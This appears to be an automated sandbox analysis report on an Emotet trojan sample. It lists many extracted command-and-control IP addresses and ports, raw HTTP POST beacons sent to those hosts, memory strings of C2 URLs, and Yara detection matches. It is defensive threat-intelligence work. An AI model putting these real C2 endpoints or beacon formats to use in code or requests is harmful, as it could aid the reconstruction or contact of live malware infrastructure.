Source: Malware configuration extractor	IPs: 62.75.141.82:80
Source: Malware configuration extractor	IPs: 112.185.64.233:80
Source: Malware configuration extractor	IPs: 61.19.246.238:443
Source: Malware configuration extractor	IPs: 186.70.56.94:443
Source: Malware configuration extractor	IPs: 37.187.72.193:8080
Source: Malware configuration extractor	IPs: 190.240.194.77:443
Source: Malware configuration extractor	IPs: 108.46.29.236:80
Source: Malware configuration extractor	IPs: 118.83.154.64:443
Source: Malware configuration extractor	IPs: 121.7.31.214:80
Source: Malware configuration extractor	IPs: 216.139.123.119:80
Source: Malware configuration extractor	IPs: 91.146.156.228:80
Source: Malware configuration extractor	IPs: 119.59.116.21:8080
Source: Malware configuration extractor	IPs: 89.216.122.92:80
Source: Malware configuration extractor	IPs: 190.162.215.233:80
Source: Malware configuration extractor	IPs: 87.106.136.232:8080
Source: Malware configuration extractor	IPs: 68.115.186.26:80
Source: Malware configuration extractor	IPs: 62.30.7.67:443
Source: Malware configuration extractor	IPs: 37.179.204.33:80
Source: Malware configuration extractor	IPs: 110.145.77.103:80
Source: Malware configuration extractor	IPs: 78.24.219.147:8080
Source: Malware configuration extractor	IPs: 185.94.252.104:443
Source: Malware configuration extractor	IPs: 24.230.141.169:80
Source: Malware configuration extractor	IPs: 49.3.224.99:8080
Source: Malware configuration extractor	IPs: 104.131.123.136:443
Source: Malware configuration extractor	IPs: 74.208.45.104:8080
Source: Malware configuration extractor	IPs: 115.94.207.99:443
Source: Malware configuration extractor	IPs: 41.185.28.84:8080
Source: Malware configuration extractor	IPs: 139.99.158.11:443
Source: Malware configuration extractor	IPs: 113.61.66.94:80
Source: Malware configuration extractor	IPs: 67.163.161.107:80
Source: Malware configuration extractor	IPs: 172.86.188.251:8080
Source: Malware configuration extractor	IPs: 110.142.236.207:80
Source: Malware configuration extractor	IPs: 120.150.60.189:80
Source: Malware configuration extractor	IPs: 87.106.139.101:8080
Source: Malware configuration extractor	IPs: 61.76.222.210:80
Source: Malware configuration extractor	IPs: 93.147.212.206:80
Source: Malware configuration extractor	IPs: 50.245.107.73:443
Source: Malware configuration extractor	IPs: 85.105.111.166:80
Source: Malware configuration extractor	IPs: 94.230.70.6:80
Source: Malware configuration extractor	IPs: 134.209.144.106:443
Source: Malware configuration extractor	IPs: 202.141.243.254:443
Source: Malware configuration extractor	IPs: 94.23.237.171:443
Source: Malware configuration extractor	IPs: 209.141.54.221:7080
Source: Malware configuration extractor	IPs: 187.161.206.24:80
Source: Malware configuration extractor	IPs: 76.175.162.101:80
Source: Malware configuration extractor	IPs: 168.235.67.138:7080
Source: Malware configuration extractor	IPs: 24.137.76.62:80
Source: Malware configuration extractor	IPs: 95.9.5.93:80
Source: Malware configuration extractor	IPs: 123.142.37.166:80
Source: Malware configuration extractor	IPs: 72.186.136.247:443
Source: Malware configuration extractor	IPs: 182.208.30.18:443
Source: Malware configuration extractor	IPs: 186.74.215.34:80
Source: Malware configuration extractor	IPs: 162.241.140.129:8080
Source: Malware configuration extractor	IPs: 217.20.166.178:7080
Source: Malware configuration extractor	IPs: 184.180.181.202:80
Source: Malware configuration extractor	IPs: 217.123.207.149:80
Source: Malware configuration extractor	IPs: 202.134.4.211:8080
Source: Malware configuration extractor	IPs: 72.143.73.234:443
Source: Malware configuration extractor	IPs: 59.125.219.109:443
Source: Malware configuration extractor	IPs: 24.179.13.119:80
Source: Malware configuration extractor	IPs: 5.39.91.110:7080
Source: Malware configuration extractor	IPs: 109.74.5.95:8080
Source: Malware configuration extractor	IPs: 46.105.131.79:8080
Source: Malware configuration extractor	IPs: 91.211.88.52:7080
Source: Malware configuration extractor	IPs: 94.200.114.161:80
Source: Malware configuration extractor	IPs: 173.63.222.65:80
Source: Malware configuration extractor	IPs: 139.162.60.124:8080
Source: Malware configuration extractor	IPs: 188.219.31.12:80
Source: Malware configuration extractor	IPs: 139.59.60.244:8080
Source: Malware configuration extractor	IPs: 190.12.119.180:443
Source: Malware configuration extractor	IPs: 78.188.106.53:443
Source: Malware configuration extractor	IPs: 96.245.227.43:80

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 7080
Source: unknown	Network traffic detected: HTTP traffic on port 7080 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 7080

Source: unknown

Network traffic detected: IP country count 35

Source: global traffic	TCP traffic: 192.168.2.6:49735 -> 107.170.146.252:8080
Source: global traffic	TCP traffic: 192.168.2.6:49739 -> 173.212.214.235:7080
Source: global traffic	TCP traffic: 192.168.2.6:49740 -> 167.114.153.111:8080
Source: global traffic	TCP traffic: 192.168.2.6:49742 -> 121.124.124.40:7080
Source: global traffic	TCP traffic: 192.168.2.6:49745 -> 103.86.49.11:8080

Source: Joe Sandbox View	IP Address: 194.4.58.192 194.4.58.192
Source: Joe Sandbox View	IP Address: 102.182.93.220 102.182.93.220
Source: Joe Sandbox View	IP Address: 95.9.5.93 95.9.5.93
Source: Joe Sandbox View	IP Address: 94.200.114.161 94.200.114.161
Source: Joe Sandbox View	IP Address: 72.186.136.247 72.186.136.247

Source: Joe Sandbox View	ASN Name: HOSTER-KZ HOSTER-KZ
Source: Joe Sandbox View	ASN Name: AfrihostZA AfrihostZA
Source: Joe Sandbox View	ASN Name: TTNETTR TTNETTR

Source: global traffic	HTTP traffic detected: POST /LqhsCyik6x/yDMw9sEc7al9N/WQVwtBBo/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 88.153.35.32/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=--------------oxhn8YFF02lqHFUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 88.153.35.32Content-Length: 4628Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /59QulnlrGjN3xHL/Y0uv73jS/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 107.170.146.252/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=-------------------GLzKnj3AY6lNu0XkAPzUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 107.170.146.252:8080Content-Length: 4628Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /R30ZS/Ks4Vh/d73Tc74w4GJR/CzehVO/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 173.212.214.235/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------8eRw1EpsQUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 173.212.214.235:7080Content-Length: 4628Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /IIFe/1yJDM9EkbiP8R7/XHAjzKH0LnedA/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 167.114.153.111/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=--------kYHRLcw3User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 167.114.153.111:8080Content-Length: 4628Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /vE1qWiF8GUO/OKiMtdK9y/9BlkbfHs/KSvjvc1is4hq83x0Q/qTFsKaNJ2QVx5a/KqpZ4e/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 67.170.250.203/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------Eoyapxu02W4DrmNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 67.170.250.203:443Content-Length: 4628Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /gLDpms1fYdKy/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 121.124.124.40/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=----------------xQkdZnrmTvVZqhGUUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 121.124.124.40:7080Content-Length: 4628Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /9mmFlI8wqZPEO4Eye/1GdTSUCcmXtydSz7Jl/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 103.86.49.11/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------------55np6X3FuJzN6N0jwc7TNUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 103.86.49.11:8080Content-Length: 4612Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /LpKB18VG3Sv/wCjo7wyWELImd4sKB/XYJP/vAurLMRY4/JiSXcWi0E/bmhDcdvNb3/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 74.214.230.200/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------08lfRHAZEMwmT24User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 74.214.230.200Content-Length: 4612Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /67tfsWS9hNw/KKtRVVGv4EtXppzG6kI/QUenxzCNc1M41S/3mazKpx2CkV0/iq7lqvPWFwbXzrG/URwQPsLPEtkyUnGKT/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 194.187.133.160/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=---------------ZhnuNfjLptUX6mpUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 194.187.133.160:443Content-Length: 4596Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 88.153.35.32
Source: unknown	TCP traffic detected without corresponding DNS query: 88.153.35.32
Source: unknown	TCP traffic detected without corresponding DNS query: 88.153.35.32
Source: unknown	TCP traffic detected without corresponding DNS query: 88.153.35.32
Source: unknown	TCP traffic detected without corresponding DNS query: 88.153.35.32
Source: unknown	TCP traffic detected without corresponding DNS query: 88.153.35.32
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.146.252
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.146.252
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.146.252
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.146.252
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.146.252
Source: unknown	TCP traffic detected without corresponding DNS query: 107.170.146.252
Source: unknown	TCP traffic detected without corresponding DNS query: 173.212.214.235
Source: unknown	TCP traffic detected without corresponding DNS query: 173.212.214.235
Source: unknown	TCP traffic detected without corresponding DNS query: 173.212.214.235
Source: unknown	TCP traffic detected without corresponding DNS query: 173.212.214.235
Source: unknown	TCP traffic detected without corresponding DNS query: 173.212.214.235
Source: unknown	TCP traffic detected without corresponding DNS query: 167.114.153.111
Source: unknown	TCP traffic detected without corresponding DNS query: 167.114.153.111
Source: unknown	TCP traffic detected without corresponding DNS query: 167.114.153.111
Source: unknown	TCP traffic detected without corresponding DNS query: 167.114.153.111
Source: unknown	TCP traffic detected without corresponding DNS query: 167.114.153.111
Source: unknown	TCP traffic detected without corresponding DNS query: 167.114.153.111
Source: unknown	TCP traffic detected without corresponding DNS query: 173.212.214.235
Source: unknown	TCP traffic detected without corresponding DNS query: 67.170.250.203
Source: unknown	TCP traffic detected without corresponding DNS query: 67.170.250.203
Source: unknown	TCP traffic detected without corresponding DNS query: 67.170.250.203
Source: unknown	TCP traffic detected without corresponding DNS query: 67.170.250.203
Source: unknown	TCP traffic detected without corresponding DNS query: 121.124.124.40
Source: unknown	TCP traffic detected without corresponding DNS query: 121.124.124.40
Source: unknown	TCP traffic detected without corresponding DNS query: 121.124.124.40
Source: unknown	TCP traffic detected without corresponding DNS query: 121.124.124.40
Source: unknown	TCP traffic detected without corresponding DNS query: 121.124.124.40
Source: unknown	TCP traffic detected without corresponding DNS query: 121.124.124.40
Source: unknown	TCP traffic detected without corresponding DNS query: 103.86.49.11
Source: unknown	TCP traffic detected without corresponding DNS query: 103.86.49.11
Source: unknown	TCP traffic detected without corresponding DNS query: 103.86.49.11
Source: unknown	TCP traffic detected without corresponding DNS query: 103.86.49.11
Source: unknown	TCP traffic detected without corresponding DNS query: 103.86.49.11
Source: unknown	TCP traffic detected without corresponding DNS query: 103.86.49.11
Source: unknown	TCP traffic detected without corresponding DNS query: 74.214.230.200
Source: unknown	TCP traffic detected without corresponding DNS query: 74.214.230.200
Source: unknown	TCP traffic detected without corresponding DNS query: 74.214.230.200
Source: unknown	TCP traffic detected without corresponding DNS query: 74.214.230.200
Source: unknown	TCP traffic detected without corresponding DNS query: 74.214.230.200
Source: unknown	TCP traffic detected without corresponding DNS query: 74.214.230.200
Source: unknown	TCP traffic detected without corresponding DNS query: 173.212.214.235
Source: unknown	TCP traffic detected without corresponding DNS query: 194.187.133.160
Source: unknown	TCP traffic detected without corresponding DNS query: 194.187.133.160
Source: unknown	TCP traffic detected without corresponding DNS query: 194.187.133.160

Source: C:\Users\user\Desktop\ExeFile (233).exe

Code function: 0_2_0042BEDB recv,

0_2_0042BEDB

Source: unknown

HTTP traffic detected: POST /LqhsCyik6x/yDMw9sEc7al9N/WQVwtBBo/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveReferer: 88.153.35.32/Upgrade-Insecure-Requests: 1Content-Type: multipart/form-data; boundary=--------------oxhn8YFF02lqHFUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: 88.153.35.32Content-Length: 4628Cache-Control: no-cache

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 20 Aug 2024 17:10:55 GMTServer: ApacheContent-Length: 230Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 52 33 30 5a 53 2f 4b 73 34 56 68 2f 64 37 33 54 63 37 34 77 34 47 4a 52 2f 43 7a 65 68 56 4f 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /R30ZS/Ks4Vh/d73Tc74w4GJR/CzehVO/ was not found on this server.</p></body></html>

Source: mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.86.49.11:8080/9mmFlI8wqZPEO4Eye/1GdTSUCcmXtydSz7Jl/
Source: mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.86.49.11:8080/9mmFlI8wqZPEO4Eye/1GdTSUCcmXtydSz7Jl/4
Source: mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://103.86.49.11:8080/9mmFlI8wqZPEO4Eye/1GdTSUCcmXtydSz7Jl/wsock.dll.mui
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.170.146.252:8080/59QulnlrGjN3xHL/Y0uv73jS/
Source: mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.170.146.252:8080/59QulnlrGjN3xHL/Y0uv73jS/?
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.170.146.252:8080/59QulnlrGjN3xHL/Y0uv73jS/D
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://107.170.146.252:8080/59QulnlrGjN3xHL/Y0uv73jS/b
Source: mibincodec.exe, 00000003.00000002.3347478744.0000000002562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://121.124.124.40:7080/gLDpms1fYdKy/
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://121.124.124.40:7080/gLDpms1fYdKy/67
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://121.124.124.40:7080/gLDpms1fYdKy/E0jZ
Source: mibincodec.exe, 00000003.00000002.3347478744.0000000002562000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://121.124.124.40:7080/gLDpms1fYdKy/W
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://121.124.124.40:7080/gLDpms1fYdKy/biP8R7/XHAjzKH0LnedA/4
Source: mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://167.114.153.111:8080/IIFe/1yJDM9EkbiP8R7/XHAjzKH0LnedA/
Source: mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://167.114.153.111:8080/IIFe/1yJDM9EkbiP8R7/XHAjzKH0LnedA/4
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://167.114.153.111:8080/IIFe/1yJDM9EkbiP8R7/XHAjzKH0LnedA/O
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://167.114.153.111:8080/IIFe/1yJDM9EkbiP8R7/XHAjzKH0LnedA/b
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://173.212.214.235:7080/R30ZS/Ks4Vh/d73Tc74w4GJR/CzehVO/
Source: mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://173.212.214.235:7080/R30ZS/Ks4Vh/d73Tc74w4GJR/CzehVO/p
Source: mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://194.187.133.160:443/67tfsWS9hNw/KKtRVVGv4EtXppzG6kI/QUenxzCNc1M41S/3mazKpx2CkV0/iq7lqvPWFwbXz
Source: mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://67.170.250.203:443/vE1qWiF8GUO/OKiMtdK9y/9BlkbfHs/KSvjvc1is4hq83x0Q/qTFsKaNJ2QVx5a/KqpZ4e/
Source: mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://74.214.230.200/LpKB18VG3Sv/wCjo7wyWELImd4sKB/XYJP/vAurLMRY4/JiSXcWi0E/bmhDcdvNb3/
Source: mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://74.214.230.200/LpKB18VG3Sv/wCjo7wyWELImd4sKB/XYJP/vAurLMRY4/JiSXcWi0E/bmhDcdvNb3/3
Source: mibincodec.exe, 00000003.00000002.3346168419.0000000000690000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2843423060.000000000258C000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000002.3347478744.0000000002588000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.2792139816.000000000258D000.00000004.00000020.00020000.00000000.sdmp, mibincodec.exe, 00000003.00000003.3332621995.000000000258C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.153.35.32/LqhsCyik6x/yDMw9sEc7al9N/WQVwtBBo/
Source: mibincodec.exe, 00000003.00000002.3346168419.0000000000690000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://88.153.35.32/LqhsCyik6x/yDMw9sEc7al9N/WQVwtBBo/4

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749

Source: C:\Users\user\Desktop\ExeFile (233).exe	Code function: 0_2_00422175 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,		0_2_00422175
Source: C:\Windows\SysWOW64\rtmpal\dfscli.exe	Code function: 2_2_00422175 GetKeyState,GetKeyState,GetKeyState,GetKeyState,SendMessageA,		2_2_00422175

E-Banking Fraud

Yara detected Emotet

Source: Yara match	File source: 2.2.dfscli.exe.219279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.21c279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.218279e.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.218052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.dfscli.exe.219052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.218052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.21c052e.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.21c279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.21c052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.dfscli.exe.2230000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.ExeFile (233).exe.2260000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.dfscli.exe.219279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.218279e.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.mibincodec.exe.21f0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.dfscli.exe.219052e.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.3346727228.00000000021B4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2117416875.0000000002190000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3346601105.0000000002180000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2113956187.0000000002261000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2113709625.00000000021C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2117594434.0000000002231000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2113874721.00000000021F4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.2117499906.00000000021C4000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.3346828238.00000000021F1000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\KBDTZM\mibincodec.exe

Code function: 3_2_021F2650 CryptAcquireContextW,CryptGenKey,CryptCreateHash,CryptImportKey,LocalFree,CryptDecodeObjectEx,CryptDecodeObjectEx,

3_2_021F2650

System Summary

Malicious sample detected (through community Yara rule)

Source: 2.2.dfscli.exe.219279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (233).exe.21c279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 3.2.mibincodec.exe.218279e.2.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 3.2.mibincodec.exe.218052e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 2.2.dfscli.exe.219052e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 3.2.mibincodec.exe.218052e.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (233).exe.21c052e.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
Source: 0.2.ExeFile (233).exe.21c279e.2.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Emotet_5528b3b0 Author: unknown
